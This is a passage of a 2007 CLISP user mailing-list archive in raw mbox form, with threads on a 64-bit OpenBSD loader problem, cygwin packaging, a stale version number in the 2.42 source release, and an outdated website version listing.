clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 21 Oct 2007 16:13:31 -0000 dfeustel@mindspring.com wrote: > I'm running 64-bit AMD OpenBSD 4.2 and I would like to use > CLisp, but OpenBSD provides no 64-bit version of CLISP because > of a loader problem. Is this problem going to be fixed? what problem are you talking about? Sam. From sds@gnu.org Sun Oct 21 09:15:46 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IjdSr-0006iD-ST for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 09:15:46 -0700 Received: from mta4.srv.hcvlny.cv.net ([167.206.4.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IjdSq-0006Dc-I8 for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 09:15:45 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta4.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-8.04 (built Feb 28 2007)) with ESMTP id <0JQ900EQ1RU20E70@mta4.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 12:15:38 -0400 (EDT) Received: from [127.0.0.1] (localhost [127.0.0.1]) by loiso.podval.org (Postfix) with ESMTP id 3B5E821DEB0; Sun, 21 Oct 2007 12:15:38 -0400 (EDT) Date: Sun, 21 Oct 2007 12:15:37 -0400 From: Sam Steingold In-reply-to: <47184F73.2040103@x-ray.at> To: Reini Urban Message-id: <471B7B29.1080301@gnu.org> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT Followup-to: gmane.lisp.clisp.general References: <471663CE.60207@gmail.com> <471669E7.5000902@podval.org> <47184F73.2040103@x-ray.at> User-Agent: Thunderbird 1.5.0.12 (X11/20070719) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO X-Mailman-Approved-At: Sun, 21 Oct 2007 12:13:54 -0700 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp-2.42-win32-with-readline-and-gettext.zip X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 21 Oct 2007 16:15:46 -0000 Reini Urban wrote: > > I'll include it in cygwin, also new-clx from now on (together with the > new gdbm of course), but the bad news is that the cygwin package will > need some more days, because I'm moving to Vienna for two weeks. > > With my experimental win32 gdi module: I believe I'll seperate it into > its own new clisp-gdi package to avoid confusion. I think it might be a good idea to move new-clx into a separate package. I think most cygwin users do not use X (and do not even install it), so including new-clx will make the full image unusable for them. From dfeustel@mindspring.com Sun Oct 21 09:37:54 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IjdoI-0000TL-68 for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 09:37:54 -0700 Received: from sccrmhc12.comcast.net ([63.240.77.82]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IjdoG-0005UU-TF for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 09:37:54 -0700 Date: Sun, 21 Oct 2007 16:37:46 +0000 (GMT) X-Comment: Sending client does not conform to RFC822 minimum requirements X-Comment: Date has been added by Maillennium Received: from localhost (c-69-245-196-200.hsd1.in.comcast.net[69.245.196.200]) by comcast.net (sccrmhc12) with SMTP id <20071021163745012009noi9e>; Sun, 21 Oct 2007 16:37:46 +0000 From: dave To: clisp-list@lists.sourceforge.net Cc: In-Reply-To: <471B7AA1.1010707@gnu.org> Message-ID: X-Spam-Score: 1.4 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.4 REPLY_TO_EMPTY Reply-To: is empty X-Mailman-Approved-At: Sun, 21 Oct 2007 12:14:23 -0700 Subject: Re: [clisp-list] 64-bit CLISP - Does it exist? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 21 Oct 2007 16:37:54 -0000 On Sun, Oct 21, 2007 at 12:13:21PM -0400, Sam Steingold wrote: > dfeustel@mindspring.com wrote: > >I'm running 64-bit AMD OpenBSD 4.2 and I would like to use > >CLisp, but OpenBSD provides no 64-bit version of CLISP because > >of a loader problem. Is this problem going to be fixed? > > what problem are you talking about? > > Sam. > On OpenBSD 4.1, attempts to load and execute clisp generate a loader error. Clisp is not available as a package on 64-bit AMD OpenBSD 4.2 as a result-- From sds@gnu.org Sun Oct 21 14:53:10 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IjijN-0004hx-Pj for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 14:53:09 -0700 Received: from mta4.srv.hcvlny.cv.net ([167.206.4.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IjijM-0007Oz-GF for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 14:53:09 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta4.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-8.04 (built Feb 28 2007)) with ESMTP id <0JQA00HM87GDK690@mta4.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 17:53:01 -0400 (EDT) Received: from [127.0.0.1] (localhost [127.0.0.1]) by loiso.podval.org (Postfix) with ESMTP id 5102721DEB0; Sun, 21 Oct 2007 17:53:01 -0400 (EDT) Date: Sun, 21 Oct 2007 17:53:00 -0400 From: Sam Steingold In-reply-to: To: dave Message-id: <471BCA3C.7010707@gnu.org> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT Followup-to: gmane.lisp.clisp.general References: <471B7AA1.1010707@gnu.org> User-Agent: Thunderbird 1.5.0.12 (X11/20070719) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 64-bit CLISP - Does it exist? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 21 Oct 2007 21:53:10 -0000 dave wrote: > On Sun, Oct 21, 2007 at 12:13:21PM -0400, Sam Steingold wrote: >> dfeustel@mindspring.com wrote: >>> I'm running 64-bit AMD OpenBSD 4.2 and I would like to use >>> CLisp, but OpenBSD provides no 64-bit version of CLISP because >>> of a loader problem. Is this problem going to be fixed? >> what problem are you talking about? > > On OpenBSD 4.1, attempts to load and execute clisp generate > a loader error. Clisp is not available as a package on 64-bit AMD OpenBSD > 4.2 as a result-- I am afraid I still have no clue. I don't know what a "loader error" is. CLISP builds OOTB on amd64 with linux. I do not have access to OpenBSD (or any BSD for that matter), so all I can say is PTC. Sam. From dfeustel@mindspring.com Sun Oct 21 15:05:04 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ijiut-0005jM-Rg for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 15:05:04 -0700 Received: from sccrmhc14.comcast.net ([204.127.200.84]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ijiur-0001za-BM for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 15:05:03 -0700 Date: Sun, 21 Oct 2007 22:04:54 +0000 (GMT) X-Comment: Sending client does not conform to RFC822 minimum requirements X-Comment: Date has been added by Maillennium Received: from localhost (c-69-245-196-200.hsd1.in.comcast.net[69.245.196.200]) by comcast.net (sccrmhc14) with SMTP id <2007102122045401400l7upje>; Sun, 21 Oct 2007 22:04:54 +0000 From: dave To: clisp-list@lists.sourceforge.net Cc: In-Reply-To: <471BCA3C.7010707@gnu.org> Message-ID: X-Spam-Score: 1.4 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.4 REPLY_TO_EMPTY Reply-To: is empty Subject: Re: [clisp-list] 64-bit CLISP - Does it exist? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 21 Oct 2007 22:05:04 -0000 On Sun, Oct 21, 2007 at 05:53:00PM -0400, Sam Steingold wrote: > dave wrote: > >On Sun, Oct 21, 2007 at 12:13:21PM -0400, Sam Steingold wrote: > >>dfeustel@mindspring.com wrote: > >>>I'm running 64-bit AMD OpenBSD 4.2 and I would like to use > >>>CLisp, but OpenBSD provides no 64-bit version of CLISP because > >>>of a loader problem. Is this problem going to be fixed? > >>what problem are you talking about? > > > >On OpenBSD 4.1, attempts to load and execute clisp generate > >a loader error. Clisp is not available as a package on 64-bit AMD OpenBSD > >4.2 as a result-- > > I am afraid I still have no clue. > I don't know what a "loader error" is. > CLISP builds OOTB on amd64 with linux. > I do not have access to OpenBSD > (or any BSD for that matter), > so all I can say is PTC. > > Sam. > OK. Thanks. -- From hin@alma.com Sun Oct 21 16:21:44 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ijk76-00045j-TN for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 16:21:44 -0700 Received: from alnrmhc13.comcast.net ([204.127.225.93]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ijk75-00065h-HL for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 16:21:44 -0700 Received: from uli (c-68-36-205-49.hsd1.nj.comcast.net[68.36.205.49]) by comcast.net (alnrmhc13) with ESMTP id <20071021232137b1300b64qbe>; Sun, 21 Oct 2007 23:21:37 +0000 Received: from hin by uli with local (Exim 4.63) (envelope-from ) id 1Ijk6y-0003DF-5U for clisp-list@lists.sourceforge.net; Sun, 21 Oct 2007 19:21:36 -0400 Date: Sun, 21 Oct 2007 19:21:36 -0400 To: clisp-list@lists.sourceforge.net Message-ID: <20071021232133.GA12306@alma.com> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.13 (2006-08-11) From: John Hinsdale X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] 64-bit CLISP - Does it exist? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 21 Oct 2007 23:21:45 -0000 > Date: Sun, 21 Oct 2007 16:37:46 +0000 (GMT) > From: dave > Subject: Re: [clisp-list] 64-bit CLISP - Does it exist? > To: clisp-list@lists.sourceforge.net > > On Sun, Oct 21, 2007 at 12:13:21PM -0400, Sam Steingold wrote: > > dfeustel@mindspring.com wrote: > > >I'm running 64-bit AMD OpenBSD 4.2 and I would like to use > > >CLisp, but OpenBSD provides no 64-bit version of CLISP because > > >of a loader problem. Is this problem going to be fixed? > > > > what problem are you talking about? > > > > Sam. > > > > On OpenBSD 4.1, attempts to load and execute clisp generate > a loader error. Clisp is not available as a package on 64-bit AMD OpenBSD > 4.2 as a result-- Dave, If it helps, I'm running CLISP just fine on 64-bit Linux, Debian "etch" 2.6 kernel. Processor is Intel Core 2 Duo (amd64). Works great. All the FFI stuff incl. Oracle and FastCGI that I use seems fine too. It may help to post the message of the actual load error that occurs, or how to discover more detail of the problem. I'm surprised it would not work on OpenBSD if it works on Linux(?). Hope that helps, John Hinsdale From sds@gnu.org Mon Oct 22 15:17:09 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ik5a8-00070c-Pc for clisp-list@lists.sourceforge.net; Mon, 22 Oct 2007 15:17:09 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ik5a7-0005qf-Br for clisp-list@lists.sourceforge.net; Mon, 22 Oct 2007 15:17:08 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A15C0804; Mon, 22 Oct 2007 18:17:00 -0400 Message-ID: <471D215C.7010406@gnu.org> Date: Mon, 22 Oct 2007 18:17:00 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 Followup-To: gmane.lisp.clisp.general To: Aurelio Bignoli References: <18203.25767.157658.86511@zayn.local.lan> In-Reply-To: <18203.25767.157658.86511@zayn.local.lan> X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Wrong version number in source package X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 22 Oct 2007 22:17:09 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Aurelio Bignoli wrote: > I just downloaded and compiled clisp-2.42.tar.bz2 from Sourceforge: > > CL-USER> (lisp-implementation-version) > "2.41.1 (2007-10-12) (built 3401963735) (memory 3401964241)" > CL-USER> > > src/version.h has not been updated. indeed, my fault, sorry. however, it has been my understanding that src/version.h is used only on non-autoconf platforms, specifically, msvc. is that what you are using? Sam. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHHSFbPp1Qsf2qnMcRAsSrAJ0QTBkh/84jf2uWkqXAMYIu6a0jrQCfQS0V 41JJnCiN/LRJhpOi2VTnYJ8= =osIh -----END PGP SIGNATURE----- From reini.urban@gmail.com Tue Oct 23 02:01:20 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IkFdY-0007l4-1A for clisp-list@lists.sourceforge.net; Tue, 23 Oct 2007 02:01:20 -0700 Received: from nf-out-0910.google.com ([64.233.182.187]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IkFdS-0004of-PP for clisp-list@lists.sourceforge.net; Tue, 23 Oct 2007 02:01:19 -0700 Received: by nf-out-0910.google.com with SMTP id 4so3317666nfv for ; Tue, 23 Oct 2007 02:01:13 -0700 (PDT) Received: by 10.86.73.17 with SMTP id v17mr4569922fga.1193130073374; Tue, 23 Oct 2007 02:01:13 -0700 (PDT) Received: by 10.86.25.13 with HTTP; Tue, 23 Oct 2007 02:01:13 -0700 (PDT) Message-ID: <6910a60710230201j45b85a13pfae652771e45e7d8@mail.gmail.com> Date: Tue, 23 Oct 2007 11:01:13 +0200 From: "Reini Urban" Sender: reini.urban@gmail.com To: clisp-list@lists.sourceforge.net In-Reply-To: <471B7B29.1080301@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <471663CE.60207@gmail.com> <471669E7.5000902@podval.org> <47184F73.2040103@x-ray.at> <471B7B29.1080301@gnu.org> X-Google-Sender-Auth: e44e71d23287a75c X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp-2.42-win32-with-readline-and-gettext.zip X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 23 Oct 2007 09:01:20 -0000 2007/10/21, Sam Steingold : > Reini Urban wrote: > > > > I'll include it in cygwin, also new-clx from now on (together with the > > new gdbm of course), but the bad news is that the cygwin package will > > need some more days, because I'm moving to Vienna for two weeks. > > > > With my experimental win32 gdi module: I believe I'll seperate it into > > its own new clisp-gdi package to avoid confusion. > > I think it might be a good idea to move new-clx into a separate package. > I think most cygwin users do not use X (and do not even install it), so > including new-clx will make the full image unusable for them. agreed. -- Reini Urban http://phpwiki.org/ http://murbreak.at/ http://spacemovie.mur.at/ http://helsinki.at/ From sds@gnu.org Tue Oct 23 06:55:39 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IkKEN-0003fJ-4P for clisp-list@lists.sourceforge.net; Tue, 23 Oct 2007 06:55:39 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IkKEL-00041k-O1 for clisp-list@lists.sourceforge.net; Tue, 23 Oct 2007 06:55:39 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AD4E0748; Tue, 23 Oct 2007 09:55:26 -0400 Message-ID: <471DFD4D.7080508@gnu.org> Date: Tue, 23 Oct 2007 09:55:25 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 Followup-To: gmane.lisp.clisp.general To: dave References: <471BCA3C.7010707@gnu.org> In-Reply-To: X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 64-bit CLISP - Does it exist? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 23 Oct 2007 13:55:39 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 dave wrote: > On Sun, Oct 21, 2007 at 05:53:00PM -0400, Sam Steingold wrote: >> dave wrote: >>> On Sun, Oct 21, 2007 at 12:13:21PM -0400, Sam Steingold wrote: >>>> dfeustel@mindspring.com wrote: >>>>> I'm running 64-bit AMD OpenBSD 4.2 and I would like to use >>>>> CLisp, but OpenBSD provides no 64-bit version of CLISP because >>>>> of a loader problem. Is this problem going to be fixed? >>>> what problem are you talking about? >>> On OpenBSD 4.1, attempts to load and execute clisp generate >>> a loader error. Clisp is not available as a package on 64-bit AMD OpenBSD >>> 4.2 as a result-- >> I am afraid I still have no clue. >> I don't know what a "loader error" is. >> CLISP builds OOTB on amd64 with linux. >> I do not have access to OpenBSD >> (or any BSD for that matter), >> so all I can say is PTC. > > OK. Thanks. BTW, did you look at clisp/unix/PLATFORMS? it has several notes about various BSD flavors on AMD64. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHHf1NPp1Qsf2qnMcRApGgAKCZ1Qh/lP3n6p7otJm1VrslLhkOswCgqj+D 0ooZ2ZysROL+hgUJXmOMl+E= =yZLK -----END PGP SIGNATURE----- From clisp@bignoli.it Tue Oct 23 12:20:52 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IkPJ6-0007Oj-0t for clisp-list@lists.sourceforge.net; Tue, 23 Oct 2007 12:20:52 -0700 Received: from smtpi1.ngi.it ([88.149.128.20]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IkPJ4-0005N4-2k for clisp-list@lists.sourceforge.net; Tue, 23 Oct 2007 12:20:51 -0700 Received: from zayn.local.lan (88-149-139-103.dynamic.ngi.it [88.149.139.103]) by smtpi1.ngi.it (8.13.8/8.13.8) with ESMTP id l9NJKfeU023793 for ; Tue, 23 Oct 2007 21:20:42 +0200 Received: from zayn.local.lan (localhost [127.0.0.1]) by zayn.local.lan (8.14.1/8.14.1) with ESMTP id l9NJKf59003331 for ; Tue, 23 Oct 2007 21:20:41 +0200 Received: (from aurelio@localhost) by zayn.local.lan (8.14.1/8.14.1/Submit) id l9NJKfJB003328; Tue, 23 Oct 2007 21:20:41 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <18206.18824.463624.75680@zayn.local.lan> Date: Tue, 23 Oct 2007 21:20:40 +0200 To: clisp-list@lists.sourceforge.net Newsgroups: gmane.lisp.clisp.general In-Reply-To: <471D215C.7010406@gnu.org> References: <18203.25767.157658.86511@zayn.local.lan> <471D215C.7010406@gnu.org> X-Mailer: VM 7.19 under Emacs 21.4.2 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Wrong version number in source package X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 23 Oct 2007 19:20:52 -0000 Sam Steingold writes: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Aurelio Bignoli wrote: > > I just downloaded and compiled clisp-2.42.tar.bz2 from Sourceforge: > > > > CL-USER> (lisp-implementation-version) > > "2.41.1 (2007-10-12) (built 3401963735) (memory 3401964241)" > > CL-USER> > > > > src/version.h has not been updated. > > indeed, my fault, sorry. > however, it has been my understanding that src/version.h is used only on > non-autoconf platforms, specifically, msvc. > is that what you are using? no, I'm using Slackware Linux and gcc 4. I think the problem could be in src/configure. The version included in clisp-2.42.tar.bz2 begins with the following comment: #! /bin/sh # From configure.in Id: configure.in,v 1.115 2007/03/08 03:08:30 sds Exp . # Guess values for system-dependent variables and create Makefiles. # Generated by GNU Autoconf 2.59 for GNU CLISP 2.41.1 (2007-10-12). and after a few lines: PACKAGE_VERSION='2.41.1 (2007-10-12)' PACKAGE_STRING='GNU CLISP 2.41.1 (2007-10-12)' PACKAGE_BUGREPORT='http://clisp.cons.org/' And Makefile.devel there is another interesting comment: ## RELEASE TODO: # Before doing a "make distrib": # * update version.sh, src/NEWS, clisp.lsm, doc/history.xml # * "make -f Makefile.devel all" # === Note that for clisp to report its version correctly, src/version.h and # === src/configure must be regenerated after version.sh is updated # web pages to be updated: # * www/index.php, www/impnotes.html, www/clisp.html, www/impnotes/ # dates to be updated: # * banner in spvw.d # * COPYRIGHT # * clisp-doc-copyright in impent.xml Aurelio From cesar.rabak@gmail.com Wed Oct 24 18:40:02 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IkrhZ-0004i1-Tm for clisp-list@lists.sourceforge.net; Wed, 24 Oct 2007 18:40:01 -0700 Received: from wr-out-0506.google.com ([64.233.184.226]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IkrhY-0004P3-1u for clisp-list@lists.sourceforge.net; Wed, 24 Oct 2007 18:40:01 -0700 Received: by wr-out-0506.google.com with SMTP id 36so324438wra for ; Wed, 24 Oct 2007 18:39:59 -0700 (PDT) Received: by 10.90.120.13 with SMTP id s13mr1040548agc.1193276399460; Wed, 24 Oct 2007 18:39:59 -0700 (PDT) Received: from ?192.168.0.149? ( [189.33.31.118]) by mx.google.com with ESMTPS id 45sm2076348wri.2007.10.24.18.39.55 (version=TLSv1/SSLv3 cipher=RC4-MD5); Wed, 24 Oct 2007 18:39:56 -0700 (PDT) Message-ID: <472002CD.7010807@ig.com.br> Date: Wed, 24 Oct 2007 23:43:25 -0300 User-Agent: Thunderbird 2.0.0.6 (Windows/20070728) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit From: Cesar Rabak X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Current CLISP version as per official home site X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: crabak@acm.org List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 25 Oct 2007 01:40:02 -0000 The "current version:" shown in the official (and mirror) site is 2.41 (2006-10-13), whereas there was an announcement of clisp 2.42 and the NEWS doc for it says: 2.42 (2007-10-16). Is there any reason for not considering 2.42 current? TIA -- Cesar Rabak GNU/Linux User 52247. Get counted: http://counter.li.org/ From sds@gnu.org Thu Oct 25 06:39:20 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Il2vg-0005Lf-A9 for clisp-list@lists.sourceforge.net; Thu, 25 Oct 2007 06:39:20 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Il2vd-00038I-Nu for clisp-list@lists.sourceforge.net; Thu, 25 Oct 2007 06:39:20 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AC7E052C; Thu, 25 Oct 2007 09:39:10 -0400 Message-ID: <47209C7E.3040803@gnu.org> Date: Thu, 25 Oct 2007 09:39:10 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 Followup-To: gmane.lisp.clisp.general To: crabak@acm.org References: <472002CD.7010807@ig.com.br> In-Reply-To: <472002CD.7010807@ig.com.br> X-Enigmail-Version: 0.95.4 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Current CLISP version as per official home site X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 25 Oct 2007 13:39:20 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cesar Rabak wrote: > The "current version:" shown in the official (and mirror) site is 2.41 > (2006-10-13), whereas there was an announcement of clisp 2.42 and the > NEWS doc for it says: 2.42 (2007-10-16). oops. fixed. thanks for reporting. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHIJx+Pp1Qsf2qnMcRAi9GAKCxEwjUBnVkq2O6Wd1qcZu5J5X0ogCeLfJJ 1Eq3b4VeY/A5v5fah2wiulA= =RCiz -----END PGP SIGNATURE----- From pvaneynd@mailworks.org Thu Oct 25 12:49:19 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Il8hj-0004mq-Rm for clisp-list@lists.sourceforge.net; Thu, 25 Oct 